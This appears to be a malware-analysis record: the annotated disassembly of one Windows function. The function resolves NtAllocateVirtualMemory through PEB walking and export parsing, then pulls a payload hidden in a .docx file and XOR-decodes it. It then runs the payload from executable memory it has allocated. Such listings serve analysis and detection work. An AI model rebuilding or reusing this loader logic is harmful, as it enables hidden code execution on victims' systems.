Function at 0x100010f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get file size
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x16c
mov eax, dword [0x1001a004]
xor eax, esp
mov dword [esp + 0x168], eax
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov edi, dword [eax + 0x10]
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x100011d1
mov eax, dword [edi + 0x3c]
mov dword [esp + 0x10], 0
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov edx, dword [eax + 0x1c]
mov ecx, dword [eax + 0x20]
add edx, edi
mov ebx, dword [eax + 0x24]
add ecx, edi
mov eax, dword [eax + 0x18]
add ebx, edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x100011d1
mov esi, dword [0x1001b34c]
xor eax, eax
nop dword [eax + eax]
mov ecx, dword [ecx + eax*4]
movzx eax, word [ebx + eax*2]
add ecx, edi
mov ebx, dword [edx + eax*4]
mov eax, str.NtAllocateVirtualMemory
add ebx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100011a3
test dl, dl
je 0x1000119f
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100011a3
add ecx, 2
add eax, 2
test dl, dl
jne 0x10001183
xor eax, eax
jmp 0x100011a8
sbb eax, eax
or eax, 1
mov edx, dword [esp + 0x10]
test eax, eax
mov ecx, dword [esp + 0x18]
cmove esi, ebx
mov ebx, dword [esp + 0x1c]
inc edx
movzx eax, dx
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0xc]
cmp eax, dword [esp + 0x14]
jb 0x10001170
mov dword [0x1001b34c], esi
lea eax, [esp + 0x30]
push eax
push 0x10018b34
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x100011f5
push str.No_.docx_files_found_in_the_current_directory_n
call fcn.10001010
jmp 0x10001494
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001228
push str.Failed_to_open_file_n
call fcn.10001010
jmp 0x10001494
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x10001260
push str.File_size_error_n
call fcn.10001010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.100014b3
mov esp, ebp
pop ebp
ret 0x10
cmp eax, 0x3a800
jae 0x10001292
push str.The_first_buffer_size_cannot_exceed_file_size_n
call fcn.10001010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x168]
xor ecx, esp
call fcn.100014b3
mov esp, ebp
pop ebp
ret 0x10
lea edi, [eax - 0x3a800]
push 0x3a800
mov dword [esp + 0x18], edi
call fcn.100014c6
add esp, 4
mov ebx, eax
mov dword [esp + 0x10], ebx
push edi
call fcn.100014c6
add esp, 4
mov dword [esp + 0x20], 0
mov edi, eax
lea eax, [esp + 0x20]
mov dword [esp + 0xc], edi
push 0
push eax
push 0x3a800
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001301
push str.Failed_to_read_first_buffer_n
call fcn.10001010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.100014c1
add esp, 4
push edi
jmp 0x1000148f
cmp dword [esp + 0x20], 0x3a800
je 0x10001312
push str.Failed_to_read_enough_bytes_to_first_buffer_n
jmp 0x100012e3
push 0
push 0
push 0x3a800
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1000132e
push str.Failed_to_set_file_pointer_n
jmp 0x100012e3
mov eax, dword [esp + 0x14]
mov edi, eax
mov ecx, dword [esp + 0xc]
mov ebx, ecx
test eax, eax
je 0x1000136e
nop
push 0
lea eax, [esp + 0x24]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001426
mov eax, dword [esp + 0x20]
test eax, eax
je 0x100013ff
add ebx, eax
sub edi, eax
jne 0x10001340
mov ecx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
mov edx, 0x3a80
movaps xmm2, xmmword [0x10018cb0]
mov eax, ebx
lea eax, [eax + 0x10]
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
paddb xmm1, xmm2
pxor xmm1, xmm2
movups xmmword [eax - 0x10], xmm1
sub edx, 1
jne 0x10001380
mov edi, dword [esp + 0x14]
mov edx, edi
push ecx
call fcn.10001050
add esp, 4
mov dword [esp + 0x24], 0
lea eax, [esp + 0x24]
push 0x10018c84
push 0x10018c88
push eax
call fcn.10004c52
add esp, 0xc
test eax, eax
jne 0x1000142d
push dword [esp + 0x24]
push edi
push 1
push dword [esp + 0x18]
call fcn.10004b38
push dword [esp + 0x34]
call fcn.10003483
add esp, 0x14
jmp 0x1000143a
push str.Failed_to_read_enough_bytes_to_second_buffer_n
call fcn.10001010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x10]
push ebx
call fcn.100014c1
add esp, 4
push dword [esp + 0xc]
jmp 0x1000148f
push str.Failed_to_read_second_buffer_n
jmp 0x10001404
push str.Failed_to_open_output_file_n
call fcn.10001010
add esp, 4
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0x3a800
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
mov edi, eax
lea eax, [esp + 0x30]
push 0x3000
push eax
push 0
lea eax, [esp + 0x38]
push eax
push edi
call dword [0x1001b34c]
push 0x3a800
push ebx
push dword [esp + 0x30]
call fcn.10002b30
add esp, 0xc
call dword [esp + 0x28]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push ebx
call fcn.100014c1
mov ecx, dword [esp + 0x178]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100014b3
mov esp, ebp
pop ebp
ret 0x10